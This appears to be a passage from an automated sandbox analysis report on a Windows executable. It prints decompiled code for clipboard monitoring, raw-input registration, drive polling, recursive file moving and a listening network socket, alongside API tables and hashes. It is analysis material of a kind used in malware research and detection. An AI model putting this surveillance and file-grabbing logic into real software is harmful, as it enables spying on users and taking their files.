						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}



















                                                                                                                                                                                                                                                                                                                                                      0x00404122
                                                                                                                                                                                                                                                                                                                                                      0x00404128
                                                                                                                                                                                                                                                                                                                                                      0x00404132
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
                                                                                                                                                                                                                                                                                                                                                      0x0040418c
                                                                                                                                                                                                                                                                                                                                                      0x004041aa
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x0040418e
                                                                                                                                                                                                                                                                                                                                                      0x00404191
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040415f
                                                                                                                                                                                                                                                                                                                                                      0x00404344
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
                                                                                                                                                                                                                                                                                                                                                      0x0040413b
                                                                                                                                                                                                                                                                                                                                                      0x004041c7
                                                                                                                                                                                                                                                                                                                                                      0x004041d8
                                                                                                                                                                                                                                                                                                                                                      0x004041ed
                                                                                                                                                                                                                                                                                                                                                      0x00404202
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x004042df
                                                                                                                                                                                                                                                                                                                                                      0x004042e3
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x00404225
                                                                                                                                                                                                                                                                                                                                                      0x0040422f
                                                                                                                                                                                                                                                                                                                                                      0x00404236
                                                                                                                                                                                                                                                                                                                                                      0x00404247
                                                                                                                                                                                                                                                                                                                                                      0x0040424e
                                                                                                                                                                                                                                                                                                                                                      0x00404255
                                                                                                                                                                                                                                                                                                                                                      0x0040425f
                                                                                                                                                                                                                                                                                                                                                      0x00404266
                                                                                                                                                                                                                                                                                                                                                      0x00404291
                                                                                                                                                                                                                                                                                                                                                      0x00404296
                                                                                                                                                                                                                                                                                                                                                      0x00404299
                                                                                                                                                                                                                                                                                                                                                      0x00404268
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042a6
                                                                                                                                                                                                                                                                                                                                                      0x004042ab
                                                                                                                                                                                                                                                                                                                                                      0x004042ae
                                                                                                                                                                                                                                                                                                                                                      0x0040426e
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040427c
                                                                                                                                                                                                                                                                                                                                                      0x00404281
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042b5
                                                                                                                                                                                                                                                                                                                                                      0x004042bb
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x004042cb
                                                                                                                                                                                                                                                                                                                                                      0x004042d7
                                                                                                                                                                                                                                                                                                                                                      0x004042dc
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404250
                                                                                                                                                                                                                                                                                                                                                      0x00404238
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x00404145
                                                                                                                                                                                                                                                                                                                                                      0x0040416e
                                                                                                                                                                                                                                                                                                                                                      0x0040417b
                                                                                                                                                                                                                                                                                                                                                      0x00404147
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x004042ff
                                                                                                                                                                                                                                                                                                                                                      0x00404305
                                                                                                                                                                                                                                                                                                                                                      0x00404308
                                                                                                                                                                                                                                                                                                                                                      0x0040430b
                                                                                                                                                                                                                                                                                                                                                      0x00404314
                                                                                                                                                                                                                                                                                                                                                      0x0040431d
                                                                                                                                                                                                                                                                                                                                                      0x00404321
                                                                                                                                                                                                                                                                                                                                                      0x00404330
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetWindowLongW.USER32(?,000000EB), ref: 0040411C
                                                                                                                                                                                                                                                                                                                                                      • SetClipboardViewer.USER32(?), ref: 00404168
                                                                                                                                                                                                                                                                                                                                                      • SetWindowLongW.USER32 ref: 0040417B
                                                                                                                                                                                                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 004041D0
                                                                                                                                                                                                                                                                                                                                                      • OpenClipboard.USER32(00000000), ref: 00404217
                                                                                                                                                                                                                                                                                                                                                      • GetClipboardData.USER32 ref: 00404229
                                                                                                                                                                                                                                                                                                                                                      • RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00404330
                                                                                                                                                                                                                                                                                                                                                      • ChangeClipboardChain.USER32(?,?), ref: 0040433E
                                                                                                                                                                                                                                                                                                                                                      • DefWindowProcA.USER32(?,?,?,?), ref: 00404354
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3549449529-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d08f3ddc54cbdb9ded0ab450df6d6cb7b6432562a3edf31e0856fd08fd8a07da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 407120B4A00208EBDB14DFD4D948BEE77B5AB88301F14816AF605B72D0D7799A80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404DF0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 540 404df0-404e3f CreateDirectoryW wsprintfW FindFirstFileW 541 404e45-404e59 lstrcmpW 540->541 542 404f1f-404f22 540->542 543 404e71 541->543 544 404e5b-404e6f lstrcmpW 541->544 546 404eec-404f02 FindNextFileW 543->546 544->543 545 404e73-404ebc wsprintfW * 2 544->545 548 404ed6-404ee6 MoveFileExW 545->548 549 404ebe-404ed4 call 404df0 545->549 546->541 547 404f08-404f19 FindClose RemoveDirectoryW 546->547 547->542 548->546 549->546
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404DF0(WCHAR* _a4, WCHAR* _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				CreateDirectoryW(_a8, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						wsprintfW( &_v2164, L"%s\\%s", _a8,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404DF0( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}











                                                                                                                                                                                                                                                                                                                                                      0x00404dff
                                                                                                                                                                                                                                                                                                                                                      0x00404e15
                                                                                                                                                                                                                                                                                                                                                      0x00404e1b
                                                                                                                                                                                                                                                                                                                                                      0x00404e2c
                                                                                                                                                                                                                                                                                                                                                      0x00404e32
                                                                                                                                                                                                                                                                                                                                                      0x00404e3f
                                                                                                                                                                                                                                                                                                                                                      0x00404f22
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e59
                                                                                                                                                                                                                                                                                                                                                      0x00404e8a
                                                                                                                                                                                                                                                                                                                                                      0x00404eaa
                                                                                                                                                                                                                                                                                                                                                      0x00404eb0
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404ee6
                                                                                                                                                                                                                                                                                                                                                      0x00404ebe
                                                                                                                                                                                                                                                                                                                                                      0x00404ecc
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404f00
                                                                                                                                                                                                                                                                                                                                                      0x00404f0f
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(004053BB,00000000), ref: 00404DFF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E15
                                                                                                                                                                                                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 00404E2C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411554), ref: 00404E51
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411558), ref: 00404E67
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E8A
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404EAA
                                                                                                                                                                                                                                                                                                                                                      • MoveFileExW.KERNEL32(?,?,00000009), ref: 00404EE6
                                                                                                                                                                                                                                                                                                                                                      • FindNextFileW.KERNEL32(000000FF,?), ref: 00404EFA
                                                                                                                                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF), ref: 00404F0F
                                                                                                                                                                                                                                                                                                                                                      • RemoveDirectoryW.KERNEL32(?), ref: 00404F19
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\%s$%s\%s$%s\*
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 92872011-445461498
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8d591ecae7a8d421bf2048b330719e2269c0568c37ba9986664fc8f3ed22a2fb
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 573147B5500218ABCB10DBA4DC48FDA7779BB88301F00C599F709A3191DB75DAC8CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405410 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E00405410() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x414c78, 0x104);
				_t34 = E0040D070(0x414c78);
				_t69 = _t68 + 4;
				 *0x414c70 = _t34;
				while(1 != 0) {
					_v8 = E00404C20();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404BC0(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040ED00();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404F30( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040541e
                                                                                                                                                                                                                                                                                                                                                      0x00405430
                                                                                                                                                                                                                                                                                                                                                      0x0040543b
                                                                                                                                                                                                                                                                                                                                                      0x00405440
                                                                                                                                                                                                                                                                                                                                                      0x00405443
                                                                                                                                                                                                                                                                                                                                                      0x00405448
                                                                                                                                                                                                                                                                                                                                                      0x0040545a
                                                                                                                                                                                                                                                                                                                                                      0x0040545d
                                                                                                                                                                                                                                                                                                                                                      0x0040546f
                                                                                                                                                                                                                                                                                                                                                      0x00405485
                                                                                                                                                                                                                                                                                                                                                      0x0040548a
                                                                                                                                                                                                                                                                                                                                                      0x0040548d
                                                                                                                                                                                                                                                                                                                                                      0x00405493
                                                                                                                                                                                                                                                                                                                                                      0x004054a0
                                                                                                                                                                                                                                                                                                                                                      0x004054cf
                                                                                                                                                                                                                                                                                                                                                      0x004054e4
                                                                                                                                                                                                                                                                                                                                                      0x004054ea
                                                                                                                                                                                                                                                                                                                                                      0x004054ec
                                                                                                                                                                                                                                                                                                                                                      0x004054f1
                                                                                                                                                                                                                                                                                                                                                      0x004054f7
                                                                                                                                                                                                                                                                                                                                                      0x004054f8
                                                                                                                                                                                                                                                                                                                                                      0x004054fe
                                                                                                                                                                                                                                                                                                                                                      0x004054ff
                                                                                                                                                                                                                                                                                                                                                      0x00405504
                                                                                                                                                                                                                                                                                                                                                      0x00405512
                                                                                                                                                                                                                                                                                                                                                      0x00405518
                                                                                                                                                                                                                                                                                                                                                      0x00405524
                                                                                                                                                                                                                                                                                                                                                      0x00405532
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405555
                                                                                                                                                                                                                                                                                                                                                      0x0040557b
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040559a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040541E
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,00414C78,00000104), ref: 00405430
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: CreateFileW.KERNEL32(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: CloseHandle.KERNEL32(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0040559A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: GetLogicalDrives.KERNEL32 ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040558D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404BC0: lstrcpyW.KERNEL32 ref: 00404C13
                                                                                                                                                                                                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 004054CF
                                                                                                                                                                                                                                                                                                                                                      • GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 004054E4
                                                                                                                                                                                                                                                                                                                                                      • _aulldiv.NTDLL(?,?,40000000,00000000), ref: 004054FF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405512
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405532
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405555
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: (%dGB)$%s%s$Unnamed volume
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1650488544-2117135753
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3fe1d8bc697817bb000b0270b0fe4bb7d325435501b2d129f68459ff1fd9a11f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D44186B1940208BBE724DB94DC45FEF7778EB48705F1085A6F209B21D0DA785B84CF6A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E9F0 Relevance: 16.6, APIs: 11, Instructions: 129networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 45%
                                                                                                                                                                                                                                                                                                                                                      			E0040E9F0(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E004089F0(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040DFD0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040B9E0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E920, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E2F0, _t54, 0, 0);
					return _t54;
				}
			}

























                                                                                                                                                                                                                                                                                                                                                      0x0040e9f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fd
                                                                                                                                                                                                                                                                                                                                                      0x0040ea02
                                                                                                                                                                                                                                                                                                                                                      0x0040eb7a
                                                                                                                                                                                                                                                                                                                                                      0x0040ea08
                                                                                                                                                                                                                                                                                                                                                      0x0040ea0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea13
                                                                                                                                                                                                                                                                                                                                                      0x0040ea19
                                                                                                                                                                                                                                                                                                                                                      0x0040ea1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea24
                                                                                                                                                                                                                                                                                                                                                      0x0040ea27
                                                                                                                                                                                                                                                                                                                                                      0x0040ea35
                                                                                                                                                                                                                                                                                                                                                      0x0040ea3b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea40
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb74
                                                                                                                                                                                                                                                                                                                                                      0x0040ea4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ea54
                                                                                                                                                                                                                                                                                                                                                      0x0040ea59
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea5f
                                                                                                                                                                                                                                                                                                                                                      0x0040ea64
                                                                                                                                                                                                                                                                                                                                                      0x0040ea69
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea81
                                                                                                                                                                                                                                                                                                                                                      0x0040ea87
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea9c
                                                                                                                                                                                                                                                                                                                                                      0x0040eaa1
                                                                                                                                                                                                                                                                                                                                                      0x0040eaad
                                                                                                                                                                                                                                                                                                                                                      0x0040eab1
                                                                                                                                                                                                                                                                                                                                                      0x0040eab5
                                                                                                                                                                                                                                                                                                                                                      0x0040eab9
                                                                                                                                                                                                                                                                                                                                                      0x0040eabe
                                                                                                                                                                                                                                                                                                                                                      0x0040eac8
                                                                                                                                                                                                                                                                                                                                                      0x0040eacd
                                                                                                                                                                                                                                                                                                                                                      0x0040ead1
                                                                                                                                                                                                                                                                                                                                                      0x0040eadd
                                                                                                                                                                                                                                                                                                                                                      0x0040eae2
                                                                                                                                                                                                                                                                                                                                                      0x0040eae7
